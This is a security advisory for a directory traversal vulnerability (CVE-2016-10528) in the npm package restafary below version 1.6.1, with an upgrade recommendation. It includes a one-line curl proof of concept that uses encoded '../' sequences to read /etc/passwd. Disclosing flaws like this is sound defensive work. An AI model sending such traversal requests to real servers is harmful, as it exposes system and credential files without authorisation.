GHSA-xg5r-8j97-2wrjMedium

Directory Traversal in restafary

Published
February 18, 2019
Last Modified
January 9, 2023

🔗 CVE IDs covered (1)

CVE-2016-10528 →

📋 Description

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Recommendation

Update to version 1.6.1 or later.

🎯 Affected products1

  • npm/restafary:< 1.6.1

🔗 References (3)